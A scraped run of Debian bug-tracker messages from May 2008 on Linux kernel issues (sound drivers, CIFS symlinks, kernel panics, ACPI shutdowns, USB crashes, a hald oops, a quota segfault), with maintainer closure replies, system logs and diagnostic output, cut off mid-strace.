hda: UDMA/66 mode selected hdb: host max PIO4 wanted PIO255(auto-tune) selected PIO4 hdb: UDMA/66 mode selected ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Probing IDE interface ide1... hda: ATAPI 48X DVD-ROM DVD-R CD-R/RW drive, 2048kB Cache Uniform CD-ROM driver Revision: 3.20 hdb: ATAPI 48X DVD-ROM DVD-R-RAM CD-R/RW drive, 2048kB Cache drivers/hid/usbhid/hid-core.c: usb_submit_urb(ctrl) failed drivers/hid/usbhid/hid-core.c: timeout initializing reports input: Logitech Logitech Dual Action as /class/input/input1 input,hidraw1: USB HID v1.10 Joystick [Logitech Logitech Dual Action] on usb-:00:1d.1-1.4 usbcore: registered new interface driver usbhid drivers/hid/usbhid/hid-core.c: v2.6:USB HID core driver swsusp: Marking nosave pages: 0009f000 - 0010 swsusp: Basic memory bitmaps created swsusp: Basic memory bitmaps freed kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with writeback data mode. Linux agpgart interface v0.102 ACPI: PCI Interrupt :02:00.0[A] - GSI 19 (level, low) - IRQ 17 PCI: Setting latency timer of device :02:00.0 to 64 sky2 :02:00.0: v1.20 addr 0xcdefc000 irq 17 Yukon-EC (0xb6) rev 2 sky2 eth0: addr 00:13:d4:17:ec:35 input: Power Button (FF) as /class/input/input2 ACPI: Power Button (FF) [PWRF] input: Power Button (CM) as /class/input/input3 ACPI: Power Button (CM) [PWRB] ACPI: PCI Interrupt :00:1f.3[B] - GSI 23 (level, low) - IRQ 21 input: PC Speaker as /class/input/input4 intel_rng: FWH not detected gameport: EMU10K1 is pci:01:02.1/gameport0, io 0xb800, speed 917kHz usblp0: USB Bidirectional printer dev 3 if 0 alt 0 proto 2 vid 0x03F0 pid 0x6004 usbcore: registered new interface driver usblp Real Time Clock Driver v1.12ac iTCO_wdt: Intel TCO WatchDog Timer Driver v1.02 (26-Jul-2007) input: PS2++ Logitech MX Mouse as /class/input/input5 iTCO_wdt: Found a ICH7 or ICH7R TCO device (Version=2, TCOBASE=0x0860) iTCO_wdt: initialized. heartbeat=30 sec (nowayout=0) parport_pc 00:07: reported by Plug and Play ACPI parport0: PC-style at 0x378 (0x778), irq 7, dma 3 [PCSPP,TRISTATE,COMPAT,EPP,ECP,DMA] ACPI: PCI Interrupt :01:02.0[A] - GSI 22 (level, low) - IRQ 22 Installing spdif_bug patch: Audigy 2 ZS [SB0350] Adding 5172888k swap on /dev/sda1. Priority:-1 extents:1 across:5172888k EXT3 FS on sda2, internal journal w83627ehf: Found W83627EHG chip at 0x290 w83627ehf w83627ehf.656: VID pins in output mode, CPU VID not available tun: Universal TUN/TAP device driver, 1.6 tun: (C) 1999-2004 Max Krasnyansky [EMAIL PROTECTED] fuse init (API version 7.9) kjournald starting. Commit interval 5 seconds EXT3 FS on sdb1, internal
Bug#439072: closed by maximilian attems [EMAIL PROTECTED] (Re: snd-intel8x0 line-in not working in later 2.6.x kernels)
On Tue, May 20, 2008 at 07:27:01PM +0200, Josip Rodin wrote: reopen 439072 thanks On Tue, May 20, 2008 at 07:08:59PM +0200, Josip Rodin wrote: On Tue, May 20, 2008 at 04:54:06PM +, Debian Bug Tracking System wrote: closing as according to upstream not a driver issue. marked as resolved thus closing. I would appreciate it if you could first answer the question which I asked in August last year (which was the reason I didn't close the bug myself): Can someone tell me the proper steps to test the default value to see if the bug was really just some local mishap? It's a bit annoying to see people ignore you for nine months, and then close the bug report rather than answering it. I almost forgot - that's disregarding the simple fact that even if the driver made no mistake with this, this 2ch vs 4ch issue is not documented anywhere, neither in kernel (linux-2.6/Documentation/sound/alsa/?) nor in userland (alsamixer(1), arecord(1), ...?), so if anyone else sees this behaviour, whether due to one's own change or a possible bad default, there is no recourse. Closing bugs just like that may well be acceptable elsewhere, but I thought we had a bit higher standards in Debian. :| great. firstly this is *not* a kernel bug. secondly this i not the way you'll get alsa userland support thirdly your message did mention that you even *tried* current 2.6.25 candidate to closure unless you provide info that is is a kernel bug. thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482083: CIFS module will create symlinks, but not delete them
On Tue, May 20, 2008 at 06:23:45PM +0100, Ian Cameron wrote: Package: linux-image-2.6.24-1-686 Version: 2.6.24-6 I have a share mounted via a Samba server with Unix extensions enabled. The share is mounted with the noperm option in /etc/fstab. I can create a link, e.g. 'ln -s tmp x' and see that x is indeed a symbolic link to tmp. If I then attempt to 'rm x', rm will return me to the shell prompt with no error, but x still exists on the server. This problem is with version 1.52 of the CIFS module. I have now reverted back to using package linux-image-2.6.22-3-686, version 2.6.22-6.lenny1 and CIFS version 1.49. This works correctly. I am using Debian testing. install linux image 2.6.25 from unstable installs just fine in testing. that is the current image. thanks for feedback on it. -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449460: marked as done (linux/videodev2.h error: timestamp has incomplete type)
Your message dated Tue, 20 May 2008 20:22:15 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: linux/videodev2.h error: timestamp has incomplete type
has caused the Debian Bug report #449460,
regarding linux/videodev2.h error: timestamp has incomplete type
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
449460: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=449460
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: linux-libc-dev
Version: 2.6.22-4
Severity: normal
A C program including linux/videodev2.h results in the following error
message:
In file included from videodev-bug.c:2:
/usr/include/linux/videodev2.h:482: error: field timestamp has
incomplete type
A simple C program that exhibits this behavior is as follows:
#include linux/videodev2.h
int main (void) {
return 0;
}
it can be compiled using the following command to generate the error
message:
gcc program.c -o program
This behavior was observed on a default install of Lenny with kernel
version 2.6.22-2-amd64. The error does not occur on an Etch install.
A temporary work-around I'm using is to include sys/time.h in the users
source file before include linux/videodev(2).h.
Cheers,
- Philip
---End Message---
---BeginMessage---
Version: 2.6.25-1
fixed upstream 83db33a3e5c4200eaf5dec5b4883c0e73f468a3b
--
maks
---End Message---
Bug#449438: marked as done (linux-image-2.6.22-2-k7 kernel panic)
Your message dated Tue, 20 May 2008 20:24:48 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.22-2-k7 kernel panic has caused the Debian Bug report #449438, regarding linux-image-2.6.22-2-k7 kernel panic to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 449438: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=449438 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- debian:/home/mystified# dpkg --status linux-image-2.6.22-2-k7 Package: linux-image-2.6.22-2-k7 Status: install ok installed Priority: optional Section: admin Installed-Size: 52584 Maintainer: Debian Kernel Team debian-kernel@lists.debian.org Architecture: i386 Source: linux-2.6 Version: 2.6.22-4 Provides: linux-image, linux-image-2.6, linux-modules-2.6.22-2-k7 Depends: module-init-tools (= 0.9.13), initramfs-tools (= 0.55) | yaird (= 0.0.12-8) | linux-initramfs-tool Recommends: libc6-i686 Suggests: linux-doc-2.6.22, grub (= 0.97-3) | lilo (= 19.1) Conflicts: grub (= 0.95+cvs20040624-17), initramfs-tools ( 0.55), yaird ( 0.0.12-8) Description: Linux 2.6.22 image on AMD K7 This package provides the binary image and pre-built loadable modules for Linux kernel 2.6.22 on 32bit AMD Duron/Athlon/AthlonXP/Sempron machines. When I try to boot into this kernel I get a lot of errors which include: /device/sys/blocks/sda/sda5/dev no such file or directory /device/sys/blocks/sda/sda5/dev seems to be down /bin/mknod missing operand after 'b' kernel panic not synching ---End Message--- ---BeginMessage--- closing as kernel never guaranteed stable device names. use UUID to be on the safe side. if they change you need to adjust bootparam of your bootloader and fstab this can be done from rescue debian installer command or from any life cd. -- maks ---End Message---
Bug#439072: closed by maximilian attems [EMAIL PROTECTED] (Re: snd-intel8x0 line-in not working in later 2.6.x kernels)
On Tue, May 20, 2008 at 08:01:05PM +0200, maximilian attems wrote: closing as according to upstream not a driver issue. marked as resolved thus closing. I would appreciate it if you could first answer the question which I asked in August last year (which was the reason I didn't close the bug myself): Can someone tell me the proper steps to test the default value to see if the bug was really just some local mishap? It's a bit annoying to see people ignore you for nine months, and then close the bug report rather than answering it. I almost forgot - that's disregarding the simple fact that even if the driver made no mistake with this, this 2ch vs 4ch issue is not documented anywhere, neither in kernel (linux-2.6/Documentation/sound/alsa/?) nor in userland (alsamixer(1), arecord(1), ...?), so if anyone else sees this behaviour, whether due to one's own change or a possible bad default, there is no recourse. Closing bugs just like that may well be acceptable elsewhere, but I thought we had a bit higher standards in Debian. :| great. firstly this is *not* a kernel bug. Well, assertions are nice, but useless. It's a bug in the kernel module if it produces completely unexpected results after an option is changed - if such results are expected, then that expectation needs to be documented *somewhere*. secondly this i not the way you'll get alsa userland support You're free to clone and/or reassign the bug to the right alsa userland packages. thirdly your message did mention that you even *tried* current 2.6.25 The Documentation/sound/alsa/ that I checked was with 2.6.25.4, so, yes, the problem applies to the current version. candidate to closure unless you provide info that is is a kernel bug. Again with the closure... You really should read the manual regarding how to deal with bug reports. For example, http://www.debian.org/doc/developers-reference/ch-pkgs.en.html#s-bug-handling -- 2. That which causes joy or happiness. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#422216: marked as done (shutdown after a false warn report from acpi)
Your message dated Tue, 20 May 2008 20:38:15 +0200 with message-id [EMAIL PROTECTED] and subject line Re: shutdown after a false warn report from acpi has caused the Debian Bug report #422216, regarding shutdown after a false warn report from acpi to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 422216: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=422216 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.20-1-686 Version: 2.6.20-3 Severity: important --- Please enter the report below this line. --- On a Dell Inspiron 9400 with a core duo I have got sometimes this error after approximatively between three and five hours of uptime. It never happens with 2.6.18 and before. Regards, Here come logs from /var/log/syslog: May 4 11:52:08 gosseyn kernel: ACPI: Critical trip point May 4 11:52:08 gosseyn kernel: Critical temperature reached (623 C), shutting down. May 4 11:52:08 gosseyn shutdown[10647]: shutting down for system halt May 4 11:52:08 gosseyn init: Switching to runlevel: 0 May 4 11:52:10 gosseyn kernel: Critical temperature reached (39 C), shutting down. Processor informations: [EMAIL PROTECTED]:~/test/zone$ cpuid eax ineax ebx ecx edx 000a 756e6547 6c65746e 49656e69 0001 06e8 01020800 c1a9 bfe9fbff 0002 02b3b001 00f0 2c04307d 0003 0004 04000121 01c0003f 003f 0001 0005 0040 0040 0003 0000 0006 0001 0002 0001 0007 0008 0009 000a 07280201 8000 8008 8001 0010 8002 756e6547 20656e69 65746e49 2952286c 8003 55504320 20202020 20202020 54202020 8004 30303532 20402020 30302e32 007a4847 8005 8006 08006040 8007 8008 2020 Vendor ID: GenuineIntel; CPUID level 10 Intel-specific functions: Version 06e8: Type 0 - Original OEM Family 6 - Pentium Pro Model 14 - Stepping 8 Reserved 0 Extended brand string: Genuine Intel(R) CPU T2500 @ 2.00GHz CLFLUSH instruction cache line size: 8 Initial APIC ID: 1 Hyper threading siblings: 2 Feature flags bfe9fbff: FPUFloating Point Unit VMEVirtual 8086 Mode Enhancements DE Debugging Extensions PSEPage Size Extensions TSCTime Stamp Counter MSRModel Specific Registers PAEPhysical Address Extension MCEMachine Check Exception CX8COMPXCHG8B Instruction APIC On-chip Advanced Programmable Interrupt Controller present and enabled SEPFast System Call MTRR Memory Type Range Registers PGEPTE Global Flag MCAMachine Check Architecture CMOV Conditional Move and Compare Instructions FGPAT Page Attribute Table CLFSH CFLUSH instruction DS Debug store ACPI Thermal Monitor and Clock Ctrl MMXMMX instruction set FXSR Fast FP/MMX Streaming SIMD Extensions save/restore SSEStreaming SIMD Extensions instruction set SSE2 SSE2 extensions SS Self Snoop HT Hyper Threading TM Thermal monitor 31 reserved TLB and cache info: b0: unknown TLB/cache descriptor b3: unknown TLB/cache descriptor 02: Instruction TLB: 4MB pages, 4-way set assoc, 2 entries f0: unknown TLB/cache descriptor 7d: unknown TLB/cache descriptor 30: unknown TLB/cache descriptor 04: Data TLB: 4MB pages, 4-way set assoc, 8 entries 2c: unknown TLB/cache descriptor Processor serial: -06E8---- --- System information. --- Architecture: i386 Kernel: Linux 2.6.20-1-686 Debian Release: lenny/sid 500 unstablewww.debian-multimedia.org 500 unstableftp.fr.debian.org --- Package information. --- Depends (Version) | Installed ===-+-=== module-init-tools (= 0.9.13) | 3.3-pre4-2 initramfs-tools (= 0.55) | 0.87b OR yaird(= 0.0.12-8) | 0.0.12-20 OR linux-initramfs-tool| ---End Message--- ---BeginMessage--- Version: 2.6.24-1 closing as most likely fixed upstream with newer apci versions. -- maks ---End Message---
Bug#450779: marked as done (linux-image-2.6.22-3-amd64: snd_hda_intel disables internal beeper speaker of laptop)
Your message dated Tue, 20 May 2008 20:34:01 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.22-3-amd64: snd_hda_intel disables internal beeper speaker of laptop has caused the Debian Bug report #450779, regarding linux-image-2.6.22-3-amd64: snd_hda_intel disables internal beeper speaker of laptop to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 450779: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=450779 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.22-3-amd64 Version: 2.6.22-5 Severity: normal If I prevent the snd_hda_intel module from loading, my laptop's (emulated) beeper speaker, running through the soundcard, works (although very loudly! Without the sound modules, one doesn't have a volume control) from X or the console. As soon as I insert the snd_hda_intel module, I lose the beeper speaker, from then on until a reboot. This is using both of options: options snd-hda-intel model=dell-laptop probe_mask=1 options snd-hda-intel probe_mask=1 The mixer doesn't seem to know about a beeper speaker, which I find odd, given my previous laptops who had a volume knob on the beeper speaker. amixer output is: Simple mixer control 'PCM',0 Capabilities: pvolume Playback channels: Front Left - Front Right Limits: Playback 0 - 255 Mono: Front Left: Playback 255 [100%] Front Right: Playback 255 [100%] Simple mixer control 'Front',0 Capabilities: pvolume pswitch Playback channels: Front Left - Front Right Limits: Playback 0 - 127 Mono: Front Left: Playback 127 [100%] [0.00dB] [on] Front Right: Playback 127 [100%] [0.00dB] [on] Simple mixer control 'Surround',0 Capabilities: pvolume pswitch Playback channels: Front Left - Front Right Limits: Playback 0 - 127 Mono: Front Left: Playback 127 [100%] [0.00dB] [off] Front Right: Playback 127 [100%] [0.00dB] [off] Simple mixer control 'Line In as Output',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [off] Simple mixer control 'ADCMux',0 Capabilities: cswitch Capture channels: Front Left - Front Right Front Left: Capture [off] Front Right: Capture [off] Simple mixer control 'Digital Input Source',0 Capabilities: enum Items: 'Analog Inputs' 'Digital Mic 1' Item0: 'Analog Inputs' Simple mixer control 'InMux',0 Capabilities: cvolume Capture channels: Front Left - Front Right Limits: Capture 0 - 4 Front Left: Capture 0 [0%] [0.00dB] Front Right: Capture 0 [0%] [0.00dB] Simple mixer control 'InVol',0 Capabilities: cvolume Capture channels: Front Left - Front Right Limits: Capture 0 - 15 Front Left: Capture 0 [0%] [0.00dB] Front Right: Capture 0 [0%] [0.00dB] Simple mixer control 'Input Source',0 Capabilities: cenum Items: 'Line' Item0: 'Line' Surely the hardware can do it, and surely the soundcard driver knows about the beeper, since it turns it off. Maybe a case of an immature driver for new hardware that will work in the next kernel version (this soundcard also doesn't seem to sense the headphone socket either, and pumps the sound out of both the internal speakers and the headphone). -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.22 (SMP w/2 CPU cores) Locale: LANG=en_AU, LC_CTYPE=en_AU (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.22-3-amd64 depends on: ii e2fsprogs1.40.2-1ext2 file system utilities and lib ii initramfs-tools [linux-initr 0.91b tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo linux-image-2.6.22-3-amd64 recommends no packages. -- debconf information: linux-image-2.6.22-3-amd64/postinst/old-system-map-link-2.6.22-3-amd64: true linux-image-2.6.22-3-amd64/preinst/failed-to-move-modules-2.6.22-3-amd64: linux-image-2.6.22-3-amd64/prerm/removing-running-kernel-2.6.22-3-amd64: true linux-image-2.6.22-3-amd64/postinst/bootloader-error-2.6.22-3-amd64: linux-image-2.6.22-3-amd64/postinst/old-initrd-link-2.6.22-3-amd64: true linux-image-2.6.22-3-amd64/postinst/bootloader-test-error-2.6.22-3-amd64: linux-image-2.6.22-3-amd64/preinst/bootloader-initrd-2.6.22-3-amd64: true linux-image-2.6.22-3-amd64/preinst/lilo-initrd-2.6.22-3-amd64: true linux-image-2.6.22-3-amd64/preinst/abort-install-2.6.22-3-amd64:
Bug#447941: linux-headers-2.6.22-2-686: usb occasionally goes into EIO returning loop for VIDIOC_DQBUF
why did you report that against the headers package? also this should be fixed upstream with latest dvb in 2.6.26-rc3, can you please double check? thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#417575: marked as done (kernel crash while accessing a usb storage device)
Your message dated Tue, 20 May 2008 20:48:46 +0200 with message-id [EMAIL PROTECTED] and subject line RE: kernel crash while accessing a usb storage device has caused the Debian Bug report #417575, regarding kernel crash while accessing a usb storage device to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 417575: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=417575 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: kernel-image Version: linux-kernel Severity: important *** Please type your report below this line *** I have experienced a complete system lockup multiple times while using 2 usb devices. it always happens at a time when the usb harddrive is accessed, while there is a wlan usb device connected. here's /var/log/messages: Apr 3 14:30:13 localhost kernel: NETDEV WATCHDOG: eth3: transmit timed out Apr 3 14:30:14 localhost kernel: eth3: Tx timed out. Apr 3 14:30:14 localhost kernel: [b0288f89] schedule+0x43/0x4cf Apr 3 14:30:14 localhost kernel: [d0056664] hcd_unlink_urb+0xe9/0x10b [usbcore] Apr 3 14:30:14 localhost kernel: [d0056ee7] usb_kill_urb+0x8e/0xa7 [usbcore] Apr 3 14:30:14 localhost kernel: [b01242e4] autoremove_wake_function+0x0/0x3a Apr 3 14:30:14 localhost kernel: [b02432f5] dev_watchdog+0x0/0x81 Apr 3 14:30:14 localhost kernel: [b0243347] dev_watchdog+0x52/0x81 Apr 3 14:30:14 localhost kernel: [b011c791] run_timer_softirq+0xfd/0x13f Apr 3 14:30:14 localhost kernel: [b0119bbf] __do_softirq+0x34/0x7f Apr 3 14:30:14 localhost kernel: [b0119c2c] do_softirq+0x22/0x26 Apr 3 14:30:14 localhost kernel: [b0104ac2] do_IRQ+0x1e/0x24 Apr 3 14:30:14 localhost kernel: [b01033fe] common_interrupt+0x1a/0x20 Apr 3 14:30:14 localhost kernel: [d046a1c4] acpi_processor_idle+0x157/0x323 [processor] Apr 3 14:30:14 localhost kernel: [b0101d4c] cpu_idle+0x3a/0x4f Apr 3 14:30:14 localhost kernel: [b032062c] start_kernel+0x293/0x295 Apr 3 14:31:27 localhost syslogd 1.4.1#18: restart. the wlan usb device is a ZD1211B with their own driver, which is not included in the kernel, so it could be a problem with their driver, but the var/log/messages-output above doesn't look like it. here's the wlan driver initialization output: Apr 3 10:47:07 localhost kernel: |__ / _| _ \ / \ / ___| Apr 3 10:47:07 localhost kernel: / / | | | | | |/ _ \ \___ \ Apr 3 10:47:07 localhost kernel: / /| |_| | |_| / ___ \ ___) | Apr 3 10:47:07 localhost kernel: /\__, |/_/ \_\/ Apr 3 10:47:07 localhost kernel: |___/ Apr 3 10:47:07 localhost kernel: ZD1211B - version 2.14.0.0 Apr 3 10:47:07 localhost kernel: vendor_id = 0ace Apr 3 10:47:07 localhost kernel: product_id = 1215 Apr 3 10:47:07 localhost kernel: USB 2.0 Host Apr 3 10:47:07 localhost kernel: Release Ver = 4810 Apr 3 10:47:07 localhost kernel: EEPORM Ver = 4810 Apr 3 10:47:07 localhost kernel: PHYNEWLayout = 1 Apr 3 10:47:07 localhost kernel: Airoha AL2230S_RF Apr 3 10:47:07 localhost kernel: AllowedChannel = 000107ff Apr 3 10:47:07 localhost kernel: Region:48 Apr 3 10:47:07 localhost kernel: usbcore: registered new driver zd1211b and here's initialization output of the usb harddrive: Apr 3 14:19:11 localhost kernel: usb 5-1: new high speed USB device using ehci_hcd and address 8 Apr 3 14:19:11 localhost kernel: usb 5-1: configuration #1 chosen from 1 choice Apr 3 14:19:11 localhost kernel: scsi1 : SCSI emulation for USB Mass Storage devices Apr 3 14:19:16 localhost kernel: Vendor: WDC WD25 Model: 00BB-14RDA0 Rev: 20.0 Apr 3 14:19:16 localhost kernel: Type: Direct-Access ANSI SCSI revision: 00 Apr 3 14:19:16 localhost kernel: SCSI device sda: 488397167 512-byte hdwr sectors (250059 MB) Apr 3 14:19:16 localhost kernel: sda: Write Protect is off Apr 3 14:19:16 localhost kernel: SCSI device sda: 488397167 512-byte hdwr sectors (250059 MB) Apr 3 14:19:16 localhost kernel: sda: Write Protect is off Apr 3 14:19:16 localhost kernel: sda: sda1 Apr 3 14:19:16 localhost kernel: sd 1:0:0:0: Attached scsi disk sda Apr 3 14:19:25 localhost kernel: kjournald starting. Commit interval 5 seconds Apr 3 14:19:25 localhost kernel: EXT3-fs warning: maximal mount count reached, running e2fsck is recommended Apr 3 14:19:25 localhost kernel: EXT3 FS on sda1, internal journal Apr 3 14:19:25 localhost kernel: EXT3-fs: recovery complete. Apr 3 14:19:25 localhost kernel: EXT3-fs: mounted filesystem with ordered data mode. -- System Information: Debian Release: 4.0 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash
Bug#406478: marked as done (hald crashes when starting)
Your message dated Tue, 20 May 2008 20:50:06 +0200 with message-id [EMAIL PROTECTED] and subject line Re: hald crashes when starting has caused the Debian Bug report #406478, regarding hald crashes when starting to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 406478: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=406478 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: hal Version: 0.5.8.1-4 Severity: important hald crashes when it's started by the boot process (through the /etc/dbus-1/event.d/20hal script). Here's my log (from /var/log/kern.log) : Jan 11 14:00:36 localhost kernel: BUG: unable to handle kernel paging request at virtual address 684070ff Jan 11 14:00:36 localhost kernel: printing eip: Jan 11 14:00:36 localhost kernel: b01881c0 Jan 11 14:00:36 localhost kernel: *pde = Jan 11 14:00:36 localhost kernel: Oops: [#1] Jan 11 14:00:36 localhost kernel: SMP Jan 11 14:00:36 localhost kernel: Modules linked in: ppdev ipv6 lp button ac battery ntfs nls_iso8859_1 nls_cp437 vfat fat dm_snapshot dm_mirror dm_mod ide_generic tsdev mousedev shpchp pci_hotplug snd_ens1370 via_agp agpgart 8250_pnp pcilynx ieee1394 evdev psmouse serio_raw gameport snd_rawmidi snd_seq_device snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_ak4531_codec parport_pc parport pcspkr floppy rtc i2c_viapro via686a snd soundcore snd_page_alloc i2c_algo_bit i2c_isa i2c_core reiserfs ide_cd cdrom ide_disk generic 3c59x mii uhci_hcd usbcore via82cxxx ide_core thermal processor fan Jan 11 14:00:36 localhost kernel: CPU:0 Jan 11 14:00:36 localhost kernel: EIP:0060:[b01881c0]Not tainted VLI Jan 11 14:00:36 localhost kernel: EFLAGS: 00010286 (2.6.17-2-k7 #1) Jan 11 14:00:36 localhost kernel: EIP is at sysfs_follow_link+0xe2/0x1a2 Jan 11 14:00:36 localhost kernel: eax: ebx: 0001 ecx: edx: b0130eaa Jan 11 14:00:36 localhost kernel: esi: 0007 edi: 684070ff ebp: ba446000 esp: bcd43ed8 Jan 11 14:00:36 localhost kernel: ds: 007b es: 007b ss: 0068 Jan 11 14:00:36 localhost kernel: Process hald (pid: 4368, threadinfo=bcd42000 task=bf263030) Jan 11 14:00:36 localhost kernel: Stack: bcd43efc bedbf98c bedbf8bc b02bf360 bb1a9910 0100 080a0270 Jan 11 14:00:36 localhost kernel:b015e273 bf408360 b016280d bcd42000 bf57d000 bac97348 Jan 11 14:00:36 localhost kernel: 45a634f3 b0120a1c 0001 b123e000 bac97348 bac97348 0100 Jan 11 14:00:36 localhost kernel: Call Trace: Jan 11 14:00:36 localhost kernel: b015e273 generic_readlink+0x25/0x68 b016280d sys_getdents64+0x9b/0xa5 Jan 11 14:00:36 localhost kernel: b0120a1c current_fs_time+0x4a/0x56 b0168ce0 touch_atime+0x60/0x90 Jan 11 14:00:36 localhost kernel: b015ae41 sys_readlinkat+0x79/0x92 b01700b8 __mark_inode_dirty+0xcb/0x146 Jan 11 14:00:36 localhost kernel: b0162762 vfs_readdir+0x7d/0x8d b016258c filldir64+0x0/0xc3 Jan 11 14:00:36 localhost kernel: b016280d sys_getdents64+0x9b/0xa5 b015ae6d sys_readlink+0x13/0x17 Jan 11 14:00:36 localhost kernel: b0102b5b syscall_call+0x7/0xb Jan 11 14:00:36 localhost kernel: Code: c0 f2 2b b0 90 ff 00 0f 88 d7 01 00 00 8b 44 24 04 31 db 8b 40 24 43 85 c0 75 f8 8b 54 24 0c be 01 00 00 00 8b 3a 31 c0 83 c9 ff f2 ae f7 d1 49 8b 52 24 8d 74 0e 01 85 d2 75 e9 8d 04 5b 89 ea Jan 11 14:00:36 localhost kernel: EIP: [b01881c0] sysfs_follow_link+0xe2/0x1a2 SS:ESP 0068:bcd43ed8 -- System Information: Debian Release: 4.0 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.17-2-k7 Locale: LANG=fr_FR, LC_CTYPE=fr_FR (charmap=ISO-8859-1) Versions of packages hal depends on: ii adduser 3.101 Add and remove users and groups ii dbus 1.0.2-1simple interprocess messaging syst ii libc6 2.3.6.ds1-8GNU C Library: Shared libraries ii libdbus-1-3 1.0.2-1simple interprocess messaging syst ii libdbus-glib-1-2 0.71-3 simple interprocess messaging syst ii libexpat1 1.95.8-3.3 XML parsing C library - runtime li ii libglib2.0-0 2.12.4-2 The GLib library of C routines ii libhal-storage1 0.5.8.1-4 Hardware Abstraction Layer - share ii libhal1 0.5.8.1-4 Hardware Abstraction Layer - share ii libusb-0.1-4 2:0.1.12-2 userspace USB programming library ii libvolume-id0 0.103-1libvolume_id
Bug#418823: linux-image-2.6.18-3-k7: fails to shutdown (some) software raid arrays on userspace suspend
can you still reproduce that with a current linux image 2.6.25? thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#452974: marked as done (segmentation fault for repquota and setquota with 64bit kernel)
Your message dated Tue, 20 May 2008 20:57:49 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: repquota and setquota crashes on 64bit kernel
has caused the Debian Bug report #460255,
regarding segmentation fault for repquota and setquota with 64bit kernel
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
460255: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=460255
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: quota
Version: 3.15-4
Severity: important
Hello,
I'm using a 32 bit Etch (with some tools from Lenny) and a 64bit kernel.
(linux-image-2.6.22-2-amd64)
Everything works fine with a lot of software installed.
The only problem is with the quota package, both quota and setquota segfaults.
That's the last strace info for repquota -a :
open(/etc/mtab, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=467, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0x1000)
= 0xf7f7c000
read(3, /dev/sda1 / ext3 rw,noatime,erro..., 4096) = 467
